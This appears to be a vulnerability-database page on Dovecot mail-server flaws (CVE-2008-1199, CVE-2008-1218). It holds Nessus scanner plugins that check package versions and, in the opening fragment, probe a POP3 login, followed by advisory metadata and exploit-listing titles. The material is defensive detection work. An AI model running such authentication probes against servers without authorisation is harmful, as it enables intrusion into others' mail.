                while (s = recv_line(socket:soc, length:1024))
                {
                  s = chomp(s);
                  m = eregmatch(pattern:"^(\+OK|-ERR)( |$)", string:s, icase:TRUE);
                  if (!isnull(m))
                  {
                    resp = m[1];
    
                    # There's a problem if we were successful.
                    if (resp && resp =~ "^\+OK") vuln = TRUE;
    
                    break;
                  }
                  resp = "";
                }
              }
    
              # Logout.
              c = "QUIT";
              send(socket:soc, data: c+'\r\n');
              while (s = recv_line(socket:soc, length:1024))
              {
                s = chomp(s);
                m = eregmatch(pattern:"^(\+OK|-ERR)( |$)", string:s, icase:TRUE);
                if (!isnull(m))
                {
                  resp = m[1];
                  break;
                }
                resp = "";
              }
            }
            close(soc);
    
            if (vuln)
            {
              security_warning(port);
              if (thorough_tests) break;
              else exit(0);
            }
          }
        }
      }
    }
    
  • NASL familyUbuntu Local Security Checks
    NASL idUBUNTU_USN-593-1.NASL
    descriptionIt was discovered that the default configuration of dovecot could allow access to any email files with group
    last seen2020-06-01
    modified2020-06-02
    plugin id31701
    published2008-03-28
    reporterUbuntu Security Notice (C) 2008-2019 Canonical, Inc. / NASL script (C) 2018 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/31701
    titleUbuntu 6.06 LTS / 6.10 / 7.04 / 7.10 : dovecot vulnerabilities (USN-593-1)
    code
    #%NASL_MIN_LEVEL 80502
    #
    # (C) Tenable Network Security, Inc.
    #
    # The descriptive text and package checks in this plugin were
    # extracted from Ubuntu Security Notice USN-593-1. The text 
    # itself is copyright (C) Canonical, Inc. See 
    # <http://www.ubuntu.com/usn/>. Ubuntu(R) is a registered 
    # trademark of Canonical, Inc.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(31701);
      script_version("1.16");
      script_cvs_date("Date: 2019/08/02 13:33:02");
    
      script_cve_id("CVE-2008-1199", "CVE-2008-1218");
      script_bugtraq_id(28092, 28181);
      script_xref(name:"USN", value:"593-1");
    
      script_name(english:"Ubuntu 6.06 LTS / 6.10 / 7.04 / 7.10 : dovecot vulnerabilities (USN-593-1)");
      script_summary(english:"Checks dpkg output for updated packages.");
    
      script_set_attribute(
        attribute:"synopsis", 
        value:
    "The remote Ubuntu host is missing one or more security-related
    patches."
      );
      script_set_attribute(
        attribute:"description", 
        value:
    "It was discovered that the default configuration of dovecot could
    allow access to any email files with group 'mail' without verifying
    that a user had valid rights. An attacker able to create symlinks in
    their mail directory could exploit this to read or delete another
    user's email. (CVE-2008-1199)
    
    By default, dovecot passed special characters to the underlying
    authentication systems. While Ubuntu releases of dovecot are not known
    to be vulnerable, the authentication routine was proactively improved
    to avoid potential future problems. (CVE-2008-1218).
    
    Note that Tenable Network Security has extracted the preceding
    description block directly from the Ubuntu security advisory. Tenable
    has attempted to automatically clean and format it as much as possible
    without introducing additional issues."
      );
      script_set_attribute(
        attribute:"see_also",
        value:"https://usn.ubuntu.com/593-1/"
      );
      script_set_attribute(
        attribute:"solution", 
        value:
    "Update the affected dovecot-common, dovecot-imapd and / or
    dovecot-pop3d packages."
      );
      script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P");
      script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
      script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
      script_set_attribute(attribute:"exploit_available", value:"true");
      script_cwe_id(16, 59, 255);
    
      script_set_attribute(attribute:"plugin_type", value:"local");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:canonical:ubuntu_linux:dovecot-common");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:canonical:ubuntu_linux:dovecot-imapd");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:canonical:ubuntu_linux:dovecot-pop3d");
      script_set_attribute(attribute:"cpe", value:"cpe:/o:canonical:ubuntu_linux:6.06:-:lts");
      script_set_attribute(attribute:"cpe", value:"cpe:/o:canonical:ubuntu_linux:6.10");
      script_set_attribute(attribute:"cpe", value:"cpe:/o:canonical:ubuntu_linux:7.04");
      script_set_attribute(attribute:"cpe", value:"cpe:/o:canonical:ubuntu_linux:7.10");
    
      script_set_attribute(attribute:"patch_publication_date", value:"2008/03/26");
      script_set_attribute(attribute:"plugin_publication_date", value:"2008/03/28");
      script_end_attributes();
    
      script_category(ACT_GATHER_INFO);
      script_copyright(english:"Ubuntu Security Notice (C) 2008-2019 Canonical, Inc. / NASL script (C) 2018 and is owned by Tenable, Inc. or an Affiliate thereof.");
      script_family(english:"Ubuntu Local Security Checks");
    
      script_dependencies("ssh_get_info.nasl");
      script_require_keys("Host/cpu", "Host/Ubuntu", "Host/Ubuntu/release", "Host/Debian/dpkg-l");
    
      exit(0);
    }
    
    
    include("audit.inc");
    include("ubuntu.inc");
    include("misc_func.inc");
    
    if ( ! get_kb_item("Host/local_checks_enabled") ) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
    release = get_kb_item("Host/Ubuntu/release");
    if ( isnull(release) ) audit(AUDIT_OS_NOT, "Ubuntu");
    release = chomp(release);
    if (! ereg(pattern:"^(6\.06|6\.10|7\.04|7\.10)$", string:release)) audit(AUDIT_OS_NOT, "Ubuntu 6.06 / 6.10 / 7.04 / 7.10", "Ubuntu " + release);
    if ( ! get_kb_item("Host/Debian/dpkg-l") ) audit(AUDIT_PACKAGE_LIST_MISSING);
    
    cpu = get_kb_item("Host/cpu");
    if (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);
    if ("x86_64" >!< cpu && cpu !~ "^i[3-6]86$") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, "Ubuntu", cpu);
    
    flag = 0;
    
    if (ubuntu_check(osver:"6.06", pkgname:"dovecot-common", pkgver:"1.0.beta3-3ubuntu5.6")) flag++;
    if (ubuntu_check(osver:"6.06", pkgname:"dovecot-imapd", pkgver:"1.0.beta3-3ubuntu5.6")) flag++;
    if (ubuntu_check(osver:"6.06", pkgname:"dovecot-pop3d", pkgver:"1.0.beta3-3ubuntu5.6")) flag++;
    if (ubuntu_check(osver:"6.10", pkgname:"dovecot-common", pkgver:"1.0.rc2-1ubuntu2.3")) flag++;
    if (ubuntu_check(osver:"6.10", pkgname:"dovecot-imapd", pkgver:"1.0.rc2-1ubuntu2.3")) flag++;
    if (ubuntu_check(osver:"6.10", pkgname:"dovecot-pop3d", pkgver:"1.0.rc2-1ubuntu2.3")) flag++;
    if (ubuntu_check(osver:"7.04", pkgname:"dovecot-common", pkgver:"1.0.rc17-1ubuntu2.3")) flag++;
    if (ubuntu_check(osver:"7.04", pkgname:"dovecot-imapd", pkgver:"1.0.rc17-1ubuntu2.3")) flag++;
    if (ubuntu_check(osver:"7.04", pkgname:"dovecot-pop3d", pkgver:"1.0.rc17-1ubuntu2.3")) flag++;
    if (ubuntu_check(osver:"7.10", pkgname:"dovecot-common", pkgver:"1:1.0.5-1ubuntu2.2")) flag++;
    if (ubuntu_check(osver:"7.10", pkgname:"dovecot-imapd", pkgver:"1:1.0.5-1ubuntu2.2")) flag++;
    if (ubuntu_check(osver:"7.10", pkgname:"dovecot-pop3d", pkgver:"1:1.0.5-1ubuntu2.2")) flag++;
    
    if (flag)
    {
      security_report_v4(
        port       : 0,
        severity   : SECURITY_WARNING,
        extra      : ubuntu_report_get()
      );
      exit(0);
    }
    else
    {
      tested = ubuntu_pkg_tests_get();
      if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);
      else audit(AUDIT_PACKAGE_NOT_INSTALLED, "dovecot-common / dovecot-imapd / dovecot-pop3d");
    }
    
  • NASL familySuSE Local Security Checks
    NASL idSUSE_DOVECOT-5647.NASL
    descriptionWhen configured with
    last seen2020-06-01
    modified2020-06-02
    plugin id34320
    published2008-10-01
    reporterThis script is Copyright (C) 2008-2019 Tenable Network Security, Inc.
    sourcehttps://www.tenable.com/plugins/nessus/34320
    titleopenSUSE 10 Security Update : dovecot (dovecot-5647)
    code
    #%NASL_MIN_LEVEL 80502
    #
    # (C) Tenable Network Security, Inc.
    #
    # The descriptive text and package checks in this plugin were
    # extracted from openSUSE Security Update dovecot-5647.
    #
    # The text description of this plugin is (C) SUSE LLC.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(34320);
      script_version ("1.9");
      script_cvs_date("Date: 2019/10/25 13:36:32");
    
      script_cve_id("CVE-2007-6598", "CVE-2008-1199", "CVE-2008-1218");
    
      script_name(english:"openSUSE 10 Security Update : dovecot (dovecot-5647)");
      script_summary(english:"Check for the dovecot-5647 patch");
    
      script_set_attribute(
        attribute:"synopsis", 
        value:"The remote openSUSE host is missing a security update."
      );
      script_set_attribute(
        attribute:"description", 
        value:
    "When configured with 'mail_extra_groups' dovecot potentially allowed
    users to read mail boxes of other users. This is not the case in the
    default configuration of on openSUSE (CVE-2008-1199).
    
    By using tab characters in passwords remote attackers could
    potentially acquire unauthorized access (CVE-2008-1218).
    
    Flaws in caching LDAP data could lead to users getting logged in with
    the wrong account (CVE-2007-6598)."
      );
      script_set_attribute(
        attribute:"solution", 
        value:"Update the affected dovecot packages."
      );
      script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P");
      script_cwe_id(16, 59, 255, 264);
    
      script_set_attribute(attribute:"plugin_type", value:"local");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:dovecot");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:dovecot-devel");
      script_set_attribute(attribute:"cpe", value:"cpe:/o:novell:opensuse:10.2");
      script_set_attribute(attribute:"cpe", value:"cpe:/o:novell:opensuse:10.3");
    
      script_set_attribute(attribute:"patch_publication_date", value:"2008/09/29");
      script_set_attribute(attribute:"plugin_publication_date", value:"2008/10/01");
      script_end_attributes();
    
      script_category(ACT_GATHER_INFO);
      script_copyright(english:"This script is Copyright (C) 2008-2019 Tenable Network Security, Inc.");
      script_family(english:"SuSE Local Security Checks");
    
      script_dependencies("ssh_get_info.nasl");
      script_require_keys("Host/local_checks_enabled", "Host/SuSE/release", "Host/SuSE/rpm-list", "Host/cpu");
    
      exit(0);
    }
    
    
    include("audit.inc");
    include("global_settings.inc");
    include("rpm.inc");
    
    if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
    release = get_kb_item("Host/SuSE/release");
    if (isnull(release) || release =~ "^(SLED|SLES)") audit(AUDIT_OS_NOT, "openSUSE");
    if (release !~ "^(SUSE10\.2|SUSE10\.3)$") audit(AUDIT_OS_RELEASE_NOT, "openSUSE", "10.2 / 10.3", release);
    if (!get_kb_item("Host/SuSE/rpm-list")) audit(AUDIT_PACKAGE_LIST_MISSING);
    
    ourarch = get_kb_item("Host/cpu");
    if (!ourarch) audit(AUDIT_UNKNOWN_ARCH);
    if (ourarch !~ "^(i586|i686|x86_64)$") audit(AUDIT_ARCH_NOT, "i586 / i686 / x86_64", ourarch);
    
    flag = 0;
    
    if ( rpm_check(release:"SUSE10.2", reference:"dovecot-1.0.rc14-11") ) flag++;
    if ( rpm_check(release:"SUSE10.3", reference:"dovecot-1.0.5-6.2") ) flag++;
    if ( rpm_check(release:"SUSE10.3", reference:"dovecot-devel-1.0.5-6.2") ) flag++;
    
    if (flag)
    {
      if (report_verbosity > 0) security_warning(port:0, extra:rpm_report_get());
      else security_warning(0);
      exit(0);
    }
    else
    {
      tested = pkg_tests_get();
      if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);
      else audit(AUDIT_PACKAGE_NOT_INSTALLED, "dovecot / dovecot-devel");
    }
    

Packetstorm

data sourcehttps://packetstormsecurity.com/files/download/64608/dovecot-disclose.txt
idPACKETSTORM:64608
last seen2016-12-05
published2008-03-15
reporterKingcope
sourcehttps://packetstormsecurity.com/files/64608/dovecot-disclose.txt.html
titledovecot-disclose.txt

Seebug

  • bulletinFamilyexploit
    descriptionNo description provided by source.
    idSSV:65261
    last seen2017-11-19
    modified2014-07-01
    published2014-07-01
    reporterRoot
    sourcehttps://www.seebug.org/vuldb/ssvid-65261
    titleDovecot IMAP 1.0.10 <= 1.1rc2 - Remote Email Disclosure Exploit
  • bulletinFamilyexploit
    descriptionNo description provided by source.
    idSSV:7991
    last seen2017-11-19
    modified2008-03-15
    published2008-03-15
    reporterRoot
    sourcehttps://www.seebug.org/vuldb/ssvid-7991
    titleDovecot IMAP 1.0.10 &lt;= 1.1rc2 Remote Email Disclosure Exploit

Statements

contributorJoshua Bressers
lastmodified2008-03-12
organizationRed Hat
statementNot vulnerable. This issue did not affect versions of Dovecot as shipped with Red Hat Enterprise Linux 4 or 5.